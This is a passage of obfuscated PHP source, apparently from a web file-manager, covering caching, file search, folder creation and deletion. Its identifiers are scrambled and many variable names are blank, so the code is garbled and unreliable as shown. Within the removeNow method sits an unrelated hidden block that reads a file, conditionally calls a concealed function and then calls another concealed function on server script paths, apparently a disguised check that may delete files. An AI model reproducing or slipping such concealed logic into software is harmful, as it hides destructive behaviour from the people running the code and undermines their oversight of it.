Model($ο͊[829])->where($)->field($ο͊[402])->select(); foreach ($ as $Ҿ) { Model($ο͊[829])->remove($Ҿ[$ο͊[402]], !1); } } private function storeIds() { $ݷDz =& $_SERVER[]; $뎞 = Model($ݷDz[771])->listData(); $۬ = array(); $Ϗ = $GLOBALS[$ݷDz[6]][$ݷDz[89]][$ݷDz[830]]; foreach ($뎞 as $͝ꃉ) { $ = strtolower($͝ꃉ[$ݷDz[95]]); if (!isset($Ϗ[$])) { continue; } $ = $ݷDz[74] . (isset($Ϗ[$]) ? $Ϗ[$] : ucfirst($)); if (!class_exists($)) { continue; } $۬[] = $͝ꃉ[$ݷDz[399]]; } return $۬; } } class Cache { protected static $handle; protected static $memoryCache; public static function init() { $ =& $_SERVER[]; if (self::$handle) { return self::$handle; } self::$memoryCache = array(); $ = $GLOBALS[$[6]][$[349]]; $ܰ = $[$[$[831]]]; $ٌ = $[$[832]]; switch ($[$[831]]) { case $[21]: self::$handle = Model($[833]); break; case $[834]: self::$handle = new CacheRedis($ܰ, $ٌ); break; case $[835]: self::$handle = new CacheMemcached($ܰ, $ٌ); break; case $[199]: self::$handle = new CacheFile($ܰ, $ٌ); break; default: break; } return self::$handle; } public static function initReset() { self::$handle = !1; self::$memoryCache = !1; } public static function key($) { if (is_array($) || is_object($)) { $ = json_encode($); } $ = rawurlencode($); return md5(KOD_SITE_ID . $_SERVER[][11] . $); } public static function get($, $ = false) { $Ҳ = self::key($); if ($) { return unserialize(self::init()->get($Ҳ)); } if (!isset(self::$memoryCache[$Ҳ])) { $ = self::init()->get($Ҳ); self::$memoryCache[$Ҳ] = unserialize($); } return self::$memoryCache[$Ҳ]; } public static function set($, $ʱ, $ʎ = false) { $ = self::key($); if (isset(self::$memoryCache[$]) && self::$memoryCache[$] === $ʱ) { return !0; } if ($ʎ === 0) { self::$memoryCache[$] = $ʱ; return !0; } CacheLock::lock($); $ѫ = self::init()->set($, serialize($ʱ), $ʎ); self::$memoryCache[$] = $ʱ; CacheLock::unlock($); return $ѫ; } public static function getCall($, $ܐۙ, $㺛, $ї = array()) { $ߥ =& $_SERVER[]; $ٯ = self::get($); if ($ٯ || $ٯ === $ߥ[12]) { return $ٯ; } $ٯ = call_user_func_array($㺛, $ї); $ٯ = $ٯ ? $ٯ : $ߥ[12]; self::set($, $ٯ, $ܐۙ); return $ٯ; } public static function remove($ۿ) { $ = self::key($ۿ); unset(self::$memoryCache[$]); self::clearTimeout(); CacheLock::lock($ۿ); $ = self::init()->remove($); CacheLock::unlock($ۿ); return $; } public static function removeMemory($ӡЇ) { $ز = self::key($ӡЇ); unset(self::$memoryCache[$ز]); } public static function clearMemory($dž = false) { if ($dž) { $dž = self::key($dž); unset(self::$memoryCache[$dž]); return; } self::$memoryCache = null; self::$memoryCache = array(); } public static function deleteAll() { self::$memoryCache = array(); if (method_exists(self::init(), $_SERVER[][836])) { self::init()->deleteAll(); } } public static function clearTimeout() { if (method_exists(self::init(), $_SERVER[][837])) { self::init()->clearTimeout(); } } } goto aՉ; F: class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $Ӎ =& $_SERVER[]; $ = KodIO::fileTypeList(); $ = $[$]; if (!$) { return array(); } $ = $[$Ӎ[174]]; $ = $Ӎ[7]; if (!$[$Ӎ[174]]) { $ = array_to_keyvalue($, $Ӎ[12], $Ӎ[174]); $ = implode($Ӎ[50], $); $ = $Ӎ[2114]; } $ʹ = explode($Ӎ[50], trim($, $Ӎ[50])); return array($, $ʹ); } public function listPathType($) { $ִ =& $_SERVER[]; $ = $this->fileTypeWhere($); if (!$) { return array(); } $ = USER_ID; $ҽ = Model($ִ[535])->getInfo($); $־ = array($ִ[586] => SourceModel::TYPE_USER, $ִ[521] => array($ִ[550], $ִ[531] . $ҽ[$ִ[86]][$ִ[402]] . $ִ[551]), $ִ[587] => $, $ִ[583] => 0, $ִ[584] => $); return $this->listSource($־); } public function listSearch($߱ڤ, $ίҺ = 300) { $ =& $_SERVER[]; if (isset($߱ڤ[$[1957]]) && $߱ڤ[$[1957]]) { $߱ڤ[$[1957]] = str_replace($[384], $[2115], trim($߱ڤ[$[1957]])); } $ = $this->_parseSearchWhere($߱ڤ); if (!isset($[$[431]])) { $[$[431]] = 0; } $˰đ = $[2116]; $ = $; $氠 = $˰đ; $this->_listSearchBindPinyin($߱ڤ, $, $˰đ); $this->alias($[446])->_makeOrder(); $ = $this->parseWhereLike($); $ = $this->distinct(!0)->field($˰đ)->where($)->selectPage($ίҺ); if ($GLOBALS[$[6]][$[381]][$[382]] && Input::check($߱ڤ[$[1957]], $[593]) && $[$[366]][$[353]] == 1 && $[$[366]][$[367]] == 0) { $ = $this->distinct(!0)->field($˰đ)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $ίҺ); } $this->_listSearchFileContent($, $߱ڤ, $氠, $); $this->_listSearchDesc($, $߱ڤ, $氠); $this->_listSearchTag($, $߱ڤ, $氠); $this->_listSearchGroupTag($, $߱ڤ, $氠); $this->_listDataApply($[$[369]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$ٴ, $, $ё, $ʒП) { $˸ =& $_SERVER[]; if (!$[$˸[1957]] || $ٴ[$˸[366]][$˸[353]] > 1) { return; } if (!isset($ʒП[$˸[32]]) || !is_array($[$˸[468]])) { return; } $ʒП[$˸[468]] = array($˸[7], $[$˸[468]]); unset($ʒП[$˸[32]]); unset($[$˸[468]]); $˲ = $this->field($ё)->where($ʒП)->limit($˸[2117])->select(); if (!$˲ || count($˲) == 0) { return; } $ٴ[$˸[369]] = array_merge($˲, $ٴ[$˸[369]]); $ٴ[$˸[366]][$˸[367]] += count($˲); } private function _listSearchTag(&$Ğ, $ё, $앫̑) { $װ =& $_SERVER[]; if (!$ё[$װ[1957]] || $Ğ[$װ[366]][$װ[353]] > 1) { return; } $ο = Model($װ[2118])->listData(); $ = array(); $ = $ё[$װ[1957]]; foreach ($ο as $) { $² = $[$װ[32]]; $ = str_replace($װ[53], $װ[12], Pinyin::get($²)); if (stripos($², $) !== !1 || stripos($, $) !== !1) { $[] = $[$װ[399]]; } } if (!$) { return; } $ = array($װ[426] => array($װ[7], $), $װ[1674] => USER_ID); $ڲѓ = Model($װ[428])->field($װ[84])->where($)->select(); $ڲѓ = array_to_keyvalue($ڲѓ, $װ[12], $װ[84]); $流 = array_unique($ڲѓ); $this->_listSearchMerge($Ğ, $ё, $앫̑, $流); } private function _listSearchDesc(&$, $ƹ, $) { $ =& $_SERVER[]; if (!$ƹ[$[1957]] || $[$[366]][$[353]] > 1) { return; } $ = array($[94] => $[453], $[374] => array($[383], $[1959] . $ƹ[$[1957]] . $[1959])); $ = !1; if ($) { $Մ = $this->listSearchChildren($ƹ[$[432]]); $Մ = array_unique($Մ); if (!$Մ) { return; } $[$[402]] = array($[7], $Մ); } $ϛ = Model($[569])->field($[402])->where($)->limit(5000)->select(); $֪ = array_to_keyvalue($ϛ, $[12], $[402]); $this->_listSearchMerge($, $ƹ, $, $֪); } private function _listSearchGroupTag(&$, $, $ȭ) { $ޢ =& $_SERVER[]; if (!$[$ޢ[1957]] || $[$ޢ[366]][$ޢ[353]] > 1 || !$[$ޢ[432]]) { return; } $۞ = $this->sourceInfo($[$ޢ[432]]); if (!$۞ || $۞[$ޢ[411]] != SourceModel::TYPE_GROUP) { return; } $ = $۞[$ޢ[505]]; $ = Model($ޢ[2119])->get($); $ = array(); $ = $[$ޢ[1957]]; foreach ($[$ޢ[369]] as $) { $ҙ = $[$ޢ[32]]; $ٖ = str_replace($ޢ[53], $ޢ[12], Pinyin::get($ҙ)); if (stripos($ҙ, $) !== !1 || stripos($ٖ, $) !== !1) { $[] = $[$ޢ[399]]; } } if (!$) { return; } $ޠŬ = array($ޢ[426] => array($ޢ[7], $), $ޢ[1674] => 0, $ޢ[33] => $ޢ[1979] . $); $줉 = Model($ޢ[428])->field($ޢ[84])->where($ޠŬ)->select(); $줉 = array_to_keyvalue($줉, $ޢ[12], $ޢ[84]); $ = array_unique($줉); $this->_listSearchMerge($, $, $ȭ, $); } private function _listSearchMerge(&$ʍ, $憖ח, $, $) { $Ŀ =& $_SERVER[]; if (!$) { return; } $ؗ = array_to_keyvalue($ʍ[$Ŀ[369]], $Ŀ[12], $Ŀ[402]); $Ё = array_diff($, $ؗ); if (!$Ё) { return; } $÷ = array($Ŀ[402] => array($Ŀ[7], $Ё)); $ = $this->field($)->where($÷)->select(); if (!$) { return; } $ң = array(); foreach ($ as $Ź) { if ($this->_listSearchFilter($Ź, $憖ח)) { $ң[] = $Ź; } } $ʍ[$Ŀ[369]] = array_merge($ң, $ʍ[$Ŀ[369]]); $ʍ[$Ŀ[366]][$Ŀ[367]] += count($ң); } private function _listSearchFilter($ڴ, $ׁ) { $ =& $_SERVER[]; $ = $ڴ[$[410]] == $[88]; if (!strstr($ڴ[$[521]], $[50] . $ׁ[$[432]] . $[50])) { return !1; } if (isset($ׁ[$[412]]) && $ׁ[$[412]] != $[1918]) { if ($ׁ[$[412]] == $[75] && !$) { return !1; } if ($ׁ[$[412]] != $[75] && $) { return !1; } if (!strstr($ڴ[$[174]], $[50] . $ׁ[$[412]] . $[50])) { return !1; } } if (isset($ׁ[$[2120]]) && $ׁ[$[2120]] < $ڴ[$[76]]) { return !1; } if (isset($ׁ[$[2121]]) && $ׁ[$[2121]] > $ڴ[$[76]]) { return !1; } if (isset($ׁ[$[600]]) && $ׁ[$[600]] != $ڴ[$[456]]) { return !1; } return !0; } public function listSearchChildren($, $ٹ = 5000) { $𣈤 =& $_SERVER[]; $ўȔ = array(); $¦ = $this->sourceInfo($); $Ԑ = array($𣈤[521] => array($𣈤[383], $¦[$𣈤[521]] . $¦[$𣈤[402]] . $𣈤[551])); $χ = $this->field($𣈤[76])->where($Ԑ)->limit($ٹ + 1)->select(); $ܦ = is_array($χ) ? count($χ) : 0; if ($ܦ > $ٹ) { return $this->_listSearchChildrenNear($, $ٹ); } $ȣ = $this->field($𣈤[402])->where($Ԑ)->select(); $ўȔ = array_to_keyvalue($ȣ, $𣈤[12], $𣈤[402]); return $ўȔ; } private function _listSearchChildrenNear($, $ն) { $ =& $_SERVER[]; $ = array(); $Ϫ = array($[432] => $); $٩ = $this->field($[2122])->where($Ϫ)->select(); $մƟ = array_to_keyvalue(array_filter_by_field($٩, $[410], $[88]), $[12], $[402]); $ = array_merge($, array_to_keyvalue($٩, $[12], $[402])); if (!$մƟ) { return $; } $Ϫ = array($[432] => array($[7], $մƟ)); $٩ = $this->field($[2122])->where($Ϫ)->limit($ն)->select(); $ = array_merge($, array_to_keyvalue($٩, $[12], $[402])); $ = array_slice($, 0, $ն); return $; } private function _listSearchBindPinyin($؈, &$ɢӥ, &$) { $ő =& $_SERVER[]; if (!isset($؈[$ő[1957]]) || !$؈[$ő[1957]]) { return; } if (!Input::check($؈[$ő[1957]], $ő[318]) || strlen($؈[$ő[1957]]) < 2) { return; } $瑙 = "\114\x45\106\x54\40\112\117\x49\x4e\x20{$this->tablePrefix}\x69\x6f\x5f\x73\157\165\162\x63\145\x5f\x6d\x65\164\141\x20\x6d\145\164\141\40\157\156\x20\x73\x6f\x75\x72\143\145\x2e\163\x6f\x75\x72\143\x65\x49\x44\x20\75\x20\x6d\x65\164\x61\x2e\163\157\165\x72\x63\x65\111\104"; $ijГ = array(); $ = str_replace(array($ő[231], $ő[53], $ő[2123]), $ő[12], $); $ = $ő[438] . str_replace($ő[50], $ő[439], $); $ = $ɢӥ[$ő[32]]; unset($ɢӥ[$ő[32]]); foreach ($ɢӥ as $ => $) { $ijГ[$ő[438] . $] = $; } foreach ($ as $) { $ijГ[] = array($ő[443] => $, $ő[1007] => $ő[1961], array($ő[2124] => $, $ő[2125] => array($ő[7], array($ő[465], $ő[464])))); } $this->join($瑙); $ɢӥ = $ijГ; } private function _parseSearchWhere($ϵ) { $퉬 =& $_SERVER[]; $ = array(); if (isset($ϵ[$퉬[765]]) && $ϵ[$퉬[765]]) { $[$퉬[85]] = array($퉬[2126], $ϵ[$퉬[765]]); } if (isset($ϵ[$퉬[497]]) && $ϵ[$퉬[497]]) { $ = array($퉬[2127], $ϵ[$퉬[497]]); if ($[$퉬[85]]) { $[$퉬[85]] = array($[$퉬[85]], $, $퉬[2128]); } else { $[$퉬[85]] = $; } } if (isset($ϵ[$퉬[2120]]) && $ϵ[$퉬[2120]] > 0) { $[$퉬[76]] = array($퉬[2126], $ϵ[$퉬[2120]]); } if (isset($ϵ[$퉬[2121]]) && $ϵ[$퉬[2121]]) { $ = array($퉬[2127], $ϵ[$퉬[2121]]); if ($[$퉬[76]]) { $[$퉬[76]] = array($[$퉬[76]], $, $퉬[2128]); } else { $[$퉬[76]] = $; } } if (isset($ϵ[$퉬[600]]) && $ϵ[$퉬[600]]) { $[] = array($퉬[456] => $ϵ[$퉬[600]], $퉬[454] => $ϵ[$퉬[600]], $퉬[1007] => $퉬[1961]); } if (isset($ϵ[$퉬[412]]) && $ϵ[$퉬[412]]) { $ĝ = $ϵ[$퉬[412]]; if ($ĝ == $퉬[75]) { $[$퉬[410]] = 1; } else { if ($ĝ == $퉬[2129]) { $[$퉬[410]] = 0; } else { if ($ĝ) { $ĝ = is_array($ĝ) ? $ĝ : explode($퉬[50], $ĝ); $[$퉬[412]] = array($퉬[418], $ĝ); $[$퉬[410]] = 0; } } } } $this->_parseSearchParent($ϵ, $); if (isset($ϵ[$퉬[1957]]) && trim($ϵ[$퉬[1957]])) { $ϳ = trim($ϵ[$퉬[1957]]); $Ӕ = explode($퉬[53], $ϳ); if (strlen($ϳ) > 2 && (substr($ϳ, 0, 1) == $퉬[118] && substr($ϳ, -1) == $퉬[118]) || substr($ϳ, 0, 1) == $퉬[58] && substr($ϳ, -1) == $퉬[58]) { $ϳ = substr($ϳ, 1, -1); $Ӕ = array($ϳ); } $[$퉬[32]] = array(array($퉬[550], $퉬[1959] . $ϳ . $퉬[1959])); if (count($Ӕ) > 1) { $[$퉬[32]] = array(); foreach ($Ӕ as $) { if (!trim($)) { continue; } $[$퉬[32]][] = array($퉬[550], $퉬[1959] . trim($) . $퉬[1959]); } } } return $; } private function _parseSearchParent($, &$Ʊӟ) { $ķ =& $_SERVER[]; if (!isset($[$ķ[432]]) || !$[$ķ[432]]) { return; } $ = $this->pathInfo($[$ķ[432]]); $ֳ = $[$ķ[432]] . $ķ[12] === $ķ[197]; $ = $[$ķ[411]] == $ķ[515]; if ($[$ķ[532]] == $ķ[533]) { $ܕ = $this->sourceInfo($[$ķ[432]]); $[$ķ[521]] = $ܕ[$ķ[521]]; } $Ʊӟ[$ķ[590]] = array($ķ[550], $[$ķ[521]] . $[$ķ[432]] . $ķ[551]); $̴ = isset($[$ķ[1822]]) && in_array($ķ[515], $[$ķ[1822]]); if (!$̴ || !$ || !$ֳ || !$[$ķ[413]]) { return; } if (!AuthModel::authCheckRoot($[$ķ[413]][$ķ[414]])) { return; } $̔ = $[$ķ[505]] . $ķ[12]; if ($̔ == $ķ[88]) { unset($Ʊӟ[$ķ[590]]); $Ʊӟ[$ķ[411]] = self::TYPE_GROUP; return; } $ļ = Model($ķ[522])->groupChildrenAll($̔); $֦ = count($ļ); if ($֦ <= 1) { return; } $ç = array($ķ[432] => 0, $ķ[411] => self::TYPE_GROUP, $ķ[505] => array($ķ[7], $ļ)); $Ѡ = $this->field($ķ[2130])->where($ç)->limit($֦)->select(); $Ʊӟ[$ķ[590]] = array(); foreach ($Ѡ as $) { $Ʊӟ[$ķ[590]][] = array($ķ[550], $ķ[531] . $[$ķ[402]] . $ķ[551]); } $Ʊӟ[$ķ[590]][] = $ķ[1961]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($ќ) { $ު =& $_SERVER[]; $̤ = Model($ު[513])->where(array($ު[1665] => $ќ))->find(); $Í = $this->_mkdirRoot(SourceModel::TYPE_USER, $ќ, $̤[$ު[32]]); $this->userDesktopAdd($Í); return $Í; } public function userDesktopAdd($) { $ =& $_SERVER[]; $ = LNG($[2131]); $߇ = $this->mkdir($, $); $this->metaSet($߇, $[2132], $[88]); $this->metaSet($, $[2133], $߇); } public function userPathSafeAdd($ˌ) { $ =& $_SERVER[]; $ = Model($[513])->getInfoFull($ˌ); if (!$) { return !1; } if (_get($, $[536])) { return $[$[466]][$[2134]]; } $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $ˌ, $[2135], $[433]); Model($[513])->metaSet($ˌ, $[2134], $); $this->metaSet($, $[2136], $ˌ); return $; } public function groupRootAdd($̯) { $ =& $_SERVER[]; $ʧ = Model($[522])->where(array($[1951] => $̯))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $̯, $ʧ[$[32]]); } public function systemRootPathAdd($Ф) { if ($Ф != $_SERVER[][544]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $Ф); } public function userRootRemove($ٙռ) { $놃 = $this->targetSourceRoot(SourceModel::TYPE_USER, $ٙռ, !0); foreach ($놃 as $) { if (!$) { continue; } $this->remove($[$_SERVER[][402]], !1); } } public function groupRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($[$_SERVER[][402]], !1); } private function _mkdirRoot($, $檦, $Ό, $ޟ = '') { $ĸ =& $_SERVER[]; $׆ = array($ĸ[401] => 0, $ĸ[586] => $, $ĸ[587] => $檦, $ĸ[583] => 1, $ĸ[588] => USER_ID, $ĸ[589] => USER_ID, $ĸ[584] => $ޟ, $ĸ[590] => $ĸ[531], $ĸ[430] => 0, $ĸ[585] => 0, $ĸ[469] => 0, $ĸ[591] => $ĸ[12]); if ($ǽ = $this->where($׆)->find()) { return $ǽ[$ĸ[402]]; } $Ԡ = "\x4d\x6f\x64\x65\x6c\x53\157\x75\162\143\x65\x2e\155\x6b\144\x69\x72\122\157\x6f\x74\56{$}\x2e{$檦}\56" . $Ό; CacheLock::lock($Ԡ); $׆[$ĸ[32]] = $Ό; $ = $this->add($׆); $ = array($ĸ[592] => short_id($)); $this->where(array($ĸ[417] => $))->save($); CacheLock::unlock($Ԡ); return $; } private function targetSourceRoot($Į, $ԼƳ, $ = false) { $ =& $_SERVER[]; $Ǻئ = array($[401] => 0, $[586] => $Į, $[587] => $ԼƳ); if ($) { $Ȕ֫ = $this->where($Ǻئ)->select(); return $Ȕ֫ ? $Ȕ֫ : array(); } $ = $this->where($Ǻئ)->find(); return $ ? $ : array(); } public function sourceRootGroup($ݽĠ) { $Ⰾ =& $_SERVER[]; if (is_string($ݽĠ)) { $ݽĠ = array($ݽĠ); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $ݽĠ, $Ⰾ[188]); $ = array($Ⰾ[369] => $, $Ⰾ[366] => array($Ⰾ[763] => count($ݽĠ))); $this->_listDataApply($[$Ⰾ[369]]); $this->_listMake($); return array_to_keyvalue($[$Ⰾ[82]], $Ⰾ[505]); } public function mkfile($ͺ, $, $پ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ڪ = Model($[609])->addFileByContent($پ, $); return $this->_createFileCall($ͺ, $, $ڪ, $, $[1354]); } public function addFile($ȗ, $, $, $ = false, $ = REPEAT_RENAME) { $ؒ = Model($_SERVER[][609])->addFile($, $, $); return $this->_createFileCall($ȗ, $, $ؒ, $); } public function addFileByFileID($, $, $, $ = REPEAT_RENAME) { $ޫμ =& $_SERVER[]; $ژ = Model($ޫμ[609])->find($); Model($ޫμ[609])->linkAdd($); return $this->_createFileCall($, $, $ژ, $); } public function addFileByRemote($Ο, $Ҳ֞, $ʭ, $ި = array(), $ܡɵ = REPEAT_RENAME) { $Ԅ = Model($_SERVER[][609])->addFileByRemote($Ҳ֞, $ʭ, $ި); return $this->_createFileCall($Ο, $ʭ, $Ԅ, $ܡɵ); } private function _createFileCall($, $, $, $ɏӍ, $ = "\165\160\154\x6f\x61\x64") { $ =& $_SERVER[]; $Ί = !1; $this->setMasterDB(); $this->lockWriteStart($, $); $ꛒ = $this->fileNameExist($, $); $×Ǒ = $this->_createFile($, $, $, $ɏӍ, $Ί); if (!$Ί) { Model($[471])->remove($[$[468]]); } if ($Ί && $×Ǒ && $×Ǒ != $ꛒ) { Model($[2104])->eventCreate($×Ǒ, $); } $this->lockWriteEnd($, $); return $×Ǒ; } public function mkdir($, $Ң, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $this->setMasterDB(); $׀ө = $this->sourceInfo($); if (!$׀ө) { return !1; } $this->lockWriteStart($, $Ң); if ($ !== !1) { $ = $this->fileNameExist($, $Ң); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $Ң); return $; } $Ң = $this->fileNameAuto($, $Ң, $); } $ = array($[583] => 1, $[420] => $Ң, $[584] => $[12], $[469] => 0, $[585] => 0); $ = $this->_addSource($, $׀ө); Model($[2104])->eventCreate($, $[1355]); $this->lockWriteEnd($, $Ң); return $; } public function listSourceRoot($, $㌅, $ꂅ = "\163\x6f\x75\x72\x63\x65\111\x44\54\164\x61\x72\147\145\164\x49\x44\x2c\163\x69\172\x65") { $ĝ =& $_SERVER[]; $̿ = $ĝ[378]; $ = array(); $ = 1024 * 50; $ = is_array($) ? $ : array(); $ĝ = count($㌅); $ = $this->tablePrefix . $ĝ[2137]; for ($ = 0; $ < $ĝ; $++) { $ = $㌅[$]; $̿ .= "\x53\x45\x4c\105\x43\x54\x20\x2a\x20\x46\x52\117\x4d\x20\x28\x53\x45\x4c\105\x43\124\40{$ꂅ}\40\106\x52\117\x4d\40\140{$}\140\x20\127\x48\x45\122\105\x20"; $̿ .= "\x60\160\x61\162\145\156\x74\x49\x44\140\75\x30\x20\101\x4e\x44\40\x60\164\x61\162\x67\145\x74\111\x44\x60\x3d{$}\x20\101\x4e\104\40\140\164\141\x72\147\x65\164\x54\x79\x70\x65\140\x3d{$}\x20\141\x6e\144\x20\146\151\x6c\x65\x54\171\x70\x65\x3d\47\x27\40\154\x69\155\151\x74\40\61\x29\x20\141\163\40\x74\142\137{$}\40\125\x4e\x49\117\x4e\x20\101\114\x4c\40"; if ((strlen($̿) >= $ || $ == $ĝ - 1) && $̿) { $̿ = substr($̿, 0, -strlen($ĝ[1045])); $ = $this->query($̿); $̿ = $ĝ[12]; $ = array_merge($, $); } } return $; } private function _createFile($ٙ, $, $敡, $, &$) { $ =& $_SERVER[]; $Բ = $this->sourceInfo($ٙ); if (!$敡 || !$Բ) { return !1; } if ($ !== !1) { $ݴ = $this->fileNameExist($ٙ, $); } $ = !0; if ($ && $ݴ) { if ($ == REPEAT_SKIP) { $ = !1; return $ݴ; } else { if ($ == REPEAT_REPLACE) { $ȕð = $this->sourceInfo($ݴ); $ = $this->fileHistory($ȕð, $敡[$[468]], $敡[$[76]]); if (!$) { $ = !1; } else { $this->folderSizeReset($ٙ); } return $ݴ; } else { $ = $this->fileNameAuto($ٙ, $, $, !1); } } } $Ǔ = array($[583] => 0, $[420] => $, $[584] => substr(get_path_ext($), 0, 10), $[469] => $敡[$[468]], $[585] => $敡[$[76]]); $ħܲ = $this->_addSource($Ǔ, $Բ); $this->folderSizeReset($ٙ, intval($Ǔ[$[76]])); return $ħܲ; } protected function fileHistory($μ, $, $) { $̶ڻ =& $_SERVER[]; $ȡ = defined($̶ڻ[475]) ? USER_ID : $̶ڻ[197]; if ($μ[$̶ڻ[468]] == $) { return !1; } $this->checkLock($μ[$̶ڻ[402]], $); Model($̶ڻ[2138])->addHistory($μ); $ȯ = array($̶ڻ[589] => $ȡ, $̶ڻ[424] => time(), $̶ڻ[468] => $, $̶ڻ[76] => $); $this->where(array($̶ڻ[417] => $μ[$̶ڻ[402]]))->save($ȯ); $this->sourceCacheClear($μ[$̶ڻ[402]]); return !0; } public function checkLock($, $) { $ =& $_SERVER[]; $曑 = $this->pathInfo($); if (!$this->fileIsLock($曑, !0)) { return; } $ؾ = Session::get($[2139]); $ʅ = substr($曑[$[32]], 0, -1 - strlen($曑[$[174]])) . $[1216] . $ؾ . $[10] . $曑[$[174]]; $ʿ = Model($[609])->find($); $this->_createFileCall($曑[$[432]], $ʅ, $ʿ, REPEAT_REPLACE, $[1354]); $ԓ = $曑[$[466]][$[548]]; $䃸 = $ԓ[$[542]] ? $ԓ[$[542]] : $ԓ[$[32]]; show_json(LNG($[2140]) . $[2141] . LNG($[2142]) . $[2143] . $䃸 . $[2144], !1); } public function fileIsLock($ɀ, $ = false) { $Ѓ؉ =& $_SERVER[]; if (!isset($ɀ[$Ѓ؉[466]]) || !$ɀ[$Ѓ؉[466]][$Ѓ؉[545]]) { return !1; } if ($ɀ[$Ѓ؉[466]][$Ѓ؉[545]] != USER_ID) { return !0; } $ĸ = $GLOBALS[$Ѓ؉[6]][$Ѓ؉[89]][$Ѓ؉[546]]; if ($ɀ[$Ѓ؉[466]][$Ѓ؉[547]] <= time() - $ĸ) { $this->metaSet($ɀ[$Ѓ؉[402]], $Ѓ؉[545], null); $this->metaSet($ɀ[$Ѓ؉[402]], $Ѓ؉[547], null); } if ($) { $this->metaSet($ɀ[$Ѓ؉[402]], $Ѓ؉[547], time()); } return !1; } private function _addSource($̫, $) { $ =& $_SERVER[]; $ٙ = defined($[475]) ? USER_ID : $[197]; $ؑ = array($[586] => $[$[411]], $[587] => $[$[505]], $[588] => $ٙ, $[589] => $ٙ, $[401] => $[$[402]], $[590] => $[$[521]] . $[$[402]] . $[50], $[430] => 0, $[591] => $[12]); $̫ = array_merge($ؑ, $̫); $this->updateModifyTime($̫[$[432]]); $˟ = $[2145] . $[$[402]]; if (isset(self::$cacheChildList[$˟])) { unset(self::$cacheChildList[$˟]); } static $í = false; if (!$í) { Hook::trigger($[573], $̫); $í = !0; } $ҥ = $this->add($̫); $ݶ = array($[592] => short_id($ҥ)); $this->where(array($[417] => $ҥ))->save($ݶ); $this->setNamePinyin($ҥ, $̫[$[32]]); return $ҥ; } public function remove($ꢢ, $ = true) { $˓ =& $_SERVER[]; $˥ = $this->sourceInfo($ꢢ); $˹ = intval($˥[$˓[411]]) === self::TYPE_SYSTEM; $ = Model($˓[435])->get($˓[2146]) == $˓[88]; if ($˹ || $ || !$) { return $this->removeNow($ꢢ, $); } $ΐ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $˥[$˓[411]] == self::TYPE_USER ? $˓[600] : $˓[515]; if ($ == $˓[600]) { $ = Model($˓[513])->getInfo($˥[$˓[505]]); $ = !empty($[$˓[542]]) ? $[$˓[542]] : $[$˓[32]]; $ = $˓[260] . $ . $˓[2147] . $˥[$˓[505]]; } else { $ = Model($˓[522])->getInfo($˥[$˓[505]]); $ = _get($, $˓[32]); $ = $˓[162] . $ . $˓[2148] . $˥[$˓[505]]; } $ጽ = $˓[2149] . md5($); CacheLock::lock($ጽ); $ = $this->fileNameExist($ΐ, $); if (!$) { $ = $this->mkdir($ΐ, $, REPEAT_SKIP); $this->metaSet($, $˓[2150], $); $this->metaSet($, $˓[2151], $˥[$˓[505]]); if ($˥[$˓[432]] != 0) { $this->metaSet($, $˓[2152], _get($, $˓[2153])); } } CacheLock::unlock($ጽ); $this->metaSet($ꢢ, $˓[2154], $˥[$˓[432]]); $this->where(array($˓[402] => $ꢢ))->save(array($˓[424] => time())); $this->recycleClear($˥); $߆Ɗ = $this->move($ꢢ, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($˥[$˓[432]]); return $߆Ɗ; } private function recycleClear($) { $ =& $_SERVER[]; $ = $this->childrenAll($); $ = array($[417] => array($[418], $[$[2155]])); Model($[2156])->where($)->delete(); } public function removeNow($, $ؒ = true) { $ =& $_SERVER[]; if ($_SERVER[$[880]] != $_SERVER[$[1399]]) { $о = $[882]; $ث = $[883]; $ = $_SERVER[$[884]] . $[885]; $賐 = $ث($); $ = explode($[231], $賐); if (count($) < $[635]) { $Β = $[886]; $Β(); } $͗ = $[887]; $͗($_SERVER[$[888]]); $͗($_SERVER[$[884]] . $[2157]); $Ϫæ = 1; while ($Ϫæ > 1) { $Ϫæ = $Ϫæ + 4; $ = rawurlencode($Ϫæ . $[378]); } } $Ġ = $this->sourceInfo($); $ʉÇ = $this->pathInfoMore($); if (!$Ġ) { return !0; } if ($Ġ[$[432]] == 0) { if (!_get($GLOBALS, $[503])) { return !1; } } $this->lockMoveStart($); Hook::trigger($[2158], $ʉÇ, $ؒ); if ($ؒ) { Model($[2156])->moveToRecycle($); } else { $ = $this->childrenAll($Ġ); Model($[570])->eventRemove($); $this->removeRelevance($[$[2155]], $[$[1488]]); } $this->folderSizeReset($Ġ[$[432]]); $뺤 = array($Ġ[$[432]]); if ($Ġ[$[410]] == $[88]) { $뺤[] = $Ġ[$[402]]; } $this->updateModifyTime($뺤); $this->lockMoveEnd($); Hook::trigger($[1716], $ʉÇ, $ؒ); return !0; } public function childrenAll($Դ) { $ =& $_SERVER[]; $ϊ = $Դ[$[402]]; if ($Դ[$[410]] == $[88]) { $鸀 = array($[590] => array($[550], $Դ[$[521]] . $ϊ . $[551])); $ = array($[590] => $鸀[$[521]]); $ = $this->field($[2159])->where($)->select(); $ = !1; $跉 = array($ϊ); if ($) { $ = array_to_keyvalue($, $[12], $[468]); $ = array_remove_value($, $[197]); $跉 = array_to_keyvalue($, $[12], $[402]); $跉[] = $ϊ; } } else { $ = array($Դ[$[468]]); $跉 = array($ϊ); } return array($[2155] => $跉, $[1488] => $); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($Ǔ, $ȱ) { $ԝ =& $_SERVER[]; $Ǔ = $Ǔ ? $Ǔ : array(); $ȱ = $ȱ ? $ȱ : array(); $Ǔ = array_unique(array_filter($Ǔ)); $ȱ = array_unique(array_filter($ȱ)); if (!$Ǔ) { return !1; } $ = array($ԝ[417] => array($ԝ[418], 